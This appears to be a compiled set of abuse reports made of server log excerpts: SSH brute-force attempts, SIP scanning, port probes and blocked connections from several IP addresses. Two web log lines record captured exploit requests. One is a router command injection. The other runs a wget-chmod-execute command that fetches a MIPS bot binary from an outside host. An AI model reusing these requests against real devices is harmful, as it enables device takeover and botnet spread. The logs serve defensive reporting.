Jun  6 01:44:27 server2 sshd\[9156\]: User root from 37.49.226.129 not allowed because not listed in AllowUsers
Jun  6 01:44:50 server2 sshd\[9164\]: User root from 37.49.226.129 not allowed because not listed in AllowUsers
Jun  6 01:45:13 server2 sshd\[9356\]: User root from 37.49.226.129 not allowed because not listed in AllowUsers
Jun  6 01:45:31 server2 sshd\[9363\]: Invalid user admin from 37.49.226.129
Jun  6 01:45:48 server2 sshd\[9379\]: Invalid user admin from 37.49.226.129
Jun  6 01:46:05 server2 sshd\[9406\]: Invalid user ubuntu from 37.49.226.129

Jun  5 18:10:19 OPSO sshd\[6693\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129  user=root
Jun  5 18:10:22 OPSO sshd\[6693\]: Failed password for root from 37.49.226.129 port 37770 ssh2
Jun  5 18:10:37 OPSO sshd\[6767\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129  user=root
Jun  5 18:10:39 OPSO sshd\[6767\]: Failed password for root from 37.49.226.129 port 50314 ssh2
Jun  5 18:10:54 OPSO sshd\[6774\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129  user=root

[MK-Root1] SSH login failed

2020-05-31T21:30:38.589688lavrinenko.info sshd[3722]: Failed password for root from 37.49.226.129 port 33240 ssh2
2020-05-31T21:30:58.798051lavrinenko.info sshd[3733]: Invalid user admin from 37.49.226.129 port 43942
2020-05-31T21:30:58.806760lavrinenko.info sshd[3733]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=37.49.226.129
2020-05-31T21:30:58.798051lavrinenko.info sshd[3733]: Invalid user admin from 37.49.226.129 port 43942
2020-05-31T21:31:00.593186lavrinenko.info sshd[3733]: Failed password for invalid user admin from 37.49.226.129 port 43942 ssh2
...

May 28 15:30:08 debian sshd[3699]: Unable to negotiate with 37.49.226.129 port 55334: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
May 28 15:30:30 debian sshd[3710]: Unable to negotiate with 37.49.226.129 port 38820: no matching key exchange method found. Their offer: diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 [preauth]
...

k+ssh-bruteforce

 TCP (SYN) 37.49.226.129:40137 -> port 22, len 48

Brute-Force,SSH

TCP ports : 465 / 587

TCP ports : 465 / 587

[2020-07-24 06:05:37] NOTICE[1277][C-00002857] chan_sip.c: Call from '' (37.49.226.39:61946) to extension '971441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:05:37] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:05:37.251-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="971441144630017",SessionID="0x7f1754318b48",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.39/61946",ACLName="no_extension_match"
[2020-07-24 06:06:27] NOTICE[1277][C-00002859] chan_sip.c: Call from '' (37.49.226.39:57469) to extension '9710441144630017' rejected because extension not found in context 'public'.
[2020-07-24 06:06:27] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-24T06:06:27.162-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="9710441144630017",SessionID="0x7f1754742008",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/3
...

[2020-07-23 02:28:17] NOTICE[1277][C-00002114] chan_sip.c: Call from '' (37.49.226.41:56352) to extension '199441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:28:17] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:28:17.484-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199441274066041",SessionID="0x7f175452b198",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.41/56352",ACLName="no_extension_match"
[2020-07-23 02:29:44] NOTICE[1277][C-00002115] chan_sip.c: Call from '' (37.49.226.41:56115) to extension '199810441274066041' rejected because extension not found in context 'public'.
[2020-07-23 02:29:44] SECURITY[1295] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-23T02:29:44.136-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="199810441274066041",SessionID="0x7f1754694fe8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/U
...

[-]:80 37.49.226.35 - - [16/Jul/2020:13:54:39 +0200] "POST /boaform/admin/formPing?target_addr=;'+payload+'%20/&waninf=1_INTERNET_R_VID_154 HTTP/1.1" 301 631 "-" "python-requests/2.6.0 CPython/2.6.6 Linux/2.6.32-754.30.2.el6.x86_64"

37.49.226.35 - - [15/Jul/2020:05:16:28 -0500] "GET https://www.ad5gb.com/setup.cgi?next_file=afr.cfg&todo=syscmd&cmd=wget%20http://45.95.168.230/bins/Meth.mips%20-O%20/var/tmp/Meth.mips;%20chmod%20777%20/var/tmp/Meth.mips;%20/var/tmp/Meth.mips%20africo.exploit;%20rm%20-rf%20/var/tmp/Meth.mips&curpath=/¤tsetting.htm=1 HTTP/1.1" 400 346 400 346 0 0 452 416 605 295 0 DIRECT FIN FIN TCP_MISS

firewall-block, port(s): 5683/udp

Unauthorized connection attempt detected from IP address 37.49.226.4 to port 81

[2020-07-04 01:01:24] NOTICE[1197][C-00001132] chan_sip.c: Call from '' (37.49.226.37:49525) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:01:24] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:01:24.282-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d28136c98",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.49.226.37/49525",ACLName="no_extension_match"
[2020-07-04 01:04:58] NOTICE[1197][C-00001138] chan_sip.c: Call from '' (37.49.226.37:61836) to extension '000442894548765' rejected because extension not found in context 'public'.
[2020-07-04 01:04:58] SECURITY[1214] res_security_log.c: SecurityEvent="FailedACL",EventTV="2020-07-04T01:04:58.923-0400",Severity="Error",Service="SIP",EventVersion="1",AccountID="000442894548765",SessionID="0x7f6d288c4af8",LocalAddress="IPV4/UDP/192.168.244.6/5060",RemoteAddress="IPV4/UDP/37.
...

 TCP (SYN) 37.49.226.4:58116 -> port 81, len 44

firewall-block, port(s): 81/tcp

 TCP (SYN) 37.49.226.4:43452 -> port 81, len 44

Unauthorized connection attempt detected from IP address 37.49.226.227 to port 23 [T]

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

Unauthorized connection attempt detected from IP address 37.49.226.208 to port 23

UTC: 2019-11-26 port: 81/tcp

Lines containing failures of 43.240.125.195
Nov 25 23:11:56 cdb sshd[4057]: Invalid user guest from 43.240.125.195 port 36704
Nov 25 23:11:56 cdb sshd[4057]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=43.240.125.195
Nov 25 23:11:57 cdb sshd[4057]: Failed password for invalid user guest from 43.240.125.195 port 36704 ssh2
Nov 25 23:11:58 cdb sshd[4057]: Received disconnect from 43.240.125.195 port 36704:11: Bye Bye [preauth]
Nov 25 23:11:58 cdb sshd[4057]: Disconnected from invalid user guest 43.240.125.195 port 36704 [preauth]
Nov 26 04:32:24 cdb sshd[27294]: Invalid user bauge from 43.240.125.195 port 53586
Nov 26 04:32:24 cdb sshd[27294]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=43.240.125.195
Nov 26 04:32:26 cdb sshd[27294]: Failed password for invalid user bauge from 43.240.125.195 port 53586 ssh2
Nov 26 04:32:27 cdb sshd[27294]: Received disconnect from 43.240.125.195 port 53........
------------------------------

Invalid user mahlum from 190.102.140.2 port 49118

Nov 27 17:16:38 server sshd\[21422\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.71.159.129  user=root
Nov 27 17:16:40 server sshd\[21422\]: Failed password for root from 167.71.159.129 port 46638 ssh2
Nov 27 17:44:54 server sshd\[28186\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.71.159.129  user=root
Nov 27 17:44:56 server sshd\[28186\]: Failed password for root from 167.71.159.129 port 52884 ssh2
Nov 27 17:51:36 server sshd\[30170\]: Invalid user trade from 167.71.159.129
Nov 27 17:51:36 server sshd\[30170\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=167.71.159.129 
...

Nov 27 19:10:42 mout sshd[13151]: Invalid user Jeanine@123 from 194.182.86.126 port 47738

Nov 27 10:20:22 mockhub sshd[23241]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=104.248.126.170
Nov 27 10:20:24 mockhub sshd[23241]: Failed password for invalid user rauzan from 104.248.126.170 port 38420 ssh2
...

MultiHost/MultiPort Probe, Scan, Hack -

Nov 27 08:02:28 tdfoods sshd\[21234\]: Invalid user shamansky from 140.143.249.246
Nov 27 08:02:28 tdfoods sshd\[21234\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=140.143.249.246
Nov 27 08:02:29 tdfoods sshd\[21234\]: Failed password for invalid user shamansky from 140.143.249.246 port 35756 ssh2
Nov 27 08:05:54 tdfoods sshd\[21508\]: Invalid user fiskvatn from 140.143.249.246
Nov 27 08:05:54 tdfoods sshd\[21508\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=140.143.249.246

" "

Nov 27 09:31:47 Aberdeen-m4-Access auth.info sshd[31430]: Invalid user dennis from 185.58.195.232 port 64002
Nov 27 09:31:47 Aberdeen-m4-Access auth.info sshd[31430]: Failed password for invalid user dennis from 185.58.195.232 port 64002 ssh2
Nov 27 09:31:47 Aberdeen-m4-Access auth.info sshd[31430]: Received disconnect from 185.58.195.232 port 64002:11: Bye Bye [preauth]
Nov 27 09:31:47 Aberdeen-m4-Access auth.info sshd[31430]: Disconnected from 185.58.195.232 port 64002 [preauth]
Nov 27 09:31:47 Aberdeen-m4-Access auth.notice sshguard[12566]: Attack from "185.58.195.232" on service 100 whostnameh danger 10.
Nov 27 09:31:47 Aberdeen-m4-Access auth.warn sshguard[12566]: Blocking "185.58.195.232/32" forever (3 attacks in 25 secs, after 3 abuses over 4976 secs.)


........
-----------------------------------------------
https://www.blocklist.de/en/view.html?ip=185.58.195.232

SSH Bruteforce attempt

Nov 27 16:08:39 vps666546 sshd\[6754\]: Invalid user odoo from 106.12.77.73 port 37064
Nov 27 16:08:39 vps666546 sshd\[6754\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.77.73
Nov 27 16:08:40 vps666546 sshd\[6754\]: Failed password for invalid user odoo from 106.12.77.73 port 37064 ssh2
Nov 27 16:17:14 vps666546 sshd\[7091\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.12.77.73  user=root
Nov 27 16:17:16 vps666546 sshd\[7091\]: Failed password for root from 106.12.77.73 port 42610 ssh2
...

Nov 27 11:46:26 vps46666688 sshd[28894]: Failed password for root from 14.29.162.139 port 56266 ssh2
Nov 27 11:51:50 vps46666688 sshd[29088]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=14.29.162.139
...

2019-11-27T18:13:57.537772abusebot-2.cloudsearch.cf sshd\[32201\]: pam_unix\(sshd:auth\): authentication failure\; logname= uid=0 euid=0 tty=ssh ruser= rhost=106.13.23.105  user=root

MultiHost/MultiPort Probe, Scan, Hack -